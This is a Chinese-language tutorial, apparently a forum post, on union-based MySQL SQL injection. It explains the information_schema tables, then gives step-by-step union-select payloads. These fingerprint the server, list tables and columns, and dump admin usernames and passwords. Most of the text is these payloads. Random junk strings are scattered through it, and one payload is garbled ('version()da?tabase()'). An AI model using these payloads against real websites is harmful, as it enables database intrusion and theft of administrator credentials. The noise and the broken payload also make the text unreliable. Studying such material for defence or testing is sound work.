mysql常规注入

admin

本文介绍MYSQL盲注的一些语句和方法
, F1 G! j3 J& m
学习盲注前先了解下 IFORMATION_SCHEMA 库
, u) |3 |5 R6 U7 S) m/ @; W
Mysql5内置的系统数据库IFORMATION_SCHEMA,其结构如MSSQL中的master数据库，其中记录了Mysql中所有
) b) x7 G, X  |2 B( }- [9 N* w6 C* s存在数据库名、数据库表、表字段。重点要求研究几个对SQL注入有用的数据表说明。
1.得到所有数据库名：
|SCHEMATA ->存储数据库名的表
8 j$ K0 d+ ]5 I4 o|---字段：SCHEMA_NAME ->数据库名称

* f2 s* ?4 J) X# q1 y* ~* P" D|TABLES ->存储表名
$ B( l/ B0 e* v% I" S|---字段：TABLE_SCHEMA ->表示该表名属于哪个数据库名
|---字段：TABLE_NAME ->存储表的表名

0 ~6 S* ~5 P3 J|COLUMNS ->存储的字段名表
|---字段：TABLE_SCHEMA ->该字段所属数据库名
) e$ k  n5 X, Y+ T8 r4 n0 U|---字段：TABLE_NAME ->存储所属表的名称
# Y- B- `+ f5 Z8 p7 x4 i" p
, R! h" n/ I8 w  a7 o; v; y8 l|---字段：COLUMN_NAME ->该字段的名称


3 W1 D% ]- O7 F* I9 B- R
8 h; P7 y: Q% A9 \###########################################################################

0x001 获取系统信息:
/ H7 x0 w' D. q  p$ l( W% Y2 q
5 G0 {, J4 ^7 gunion select 1,2,3,4,5,concat(@@global.version_compile_os,0x3c62723e,@@datadir,0x3c62723e,user(),0x3c62723e,version()da?tabase(),0x3c62723e,database()),7,8,9 /*
8 l/ B* _, F" v. B5 O
/*
$ F% W5 Y. p4 @' \  i
0 ?8 _# `: a+ T@@global.version_compile_os 获取系统版本

@@datadir 数据库路径
database() 当前数据库名称
0x3c62723e 换行HEX值

, `* |- b  g( C) ~*/
( j' M9 X0 c8 o. @- r


. K* K% f& [9 o3 w1 ~# A( ~' @3 p# u######################################################################
& O$ E6 M/ e; I1 R- u! J, n
0x002 获取表名

8 E  g1 x8 s. B% Hunion select 1,2,group_concat(table_name),4,5,6,7,8,9 from information_schema.tables where table_schema=0x67617264656e /*



/*

0x67617264656e 为当前数据库名

group_concat(table_name) 使用group_concat函数 一步获得该库所有表名
* Y2 L8 O# p* i7 J3 n
8 s0 W/ t: }" h1 T& J*/

######################################################################
  H/ m: P! U$ }+ x
0 \) k2 Z! P  u% }

0x003 获取字段
1 V  {. v$ E, z- L- p2 C( L/ a% K
union select 1,2,group_concat(column_name),4,5,6,7,8,9 from information_schema.columns where table_name=0x61646d696e and table_schema=0x67617264656e limit 1 /*

/*

group_concat(column_name) 同样是 一口气 获得该表（0x61646d696e）所有字段
0 C) z2 W2 T% n6 k$ G
5 b- T6 Q0 t# L6 f  P3 Y+ |0x61646d696e ->选择一个表

: ]" P2 a3 e* t0x67617264656e ->数据库名
- G1 f3 M% K" W  J; P; d6 Y
*/

#####################################################################
! s& q0 P4 s  ?: d8 j! ~5 x


+ e% U1 V  W3 c& k, z, K+ I0x004 获取数据

union select 1,2,3
% x5 F; y6 z! |2 h,4,5,concat(id,0x3c62723e,adname,0x3c62723e,adpassword),6,7,8 from admin

union select 1,group_concat(id),group_concat(adname),4,5,group_concat(adpassword),6,7,8 from admin
3 o/ n+ J9 ~4 @  g- u4 W
. Z. A) e3 i1 ?' `* |  v- i
4 {4 s; E  D0 ]6 H$ T
" a- y! r7 `& A; L' W" I! ~3 {/*

. }0 ~  \9 y; X0x3c62723e 换行符号HEX编码

9 z+ Q. r* q, |  v2 K; R3 E- ogroup_concat 同时获得该字段所有数据
  d& l* h5 q# w8 F
5 |! I) s( B* w5 Z*/
8 |# A0 V& y0 e
' k1 o0 R% {$ k! d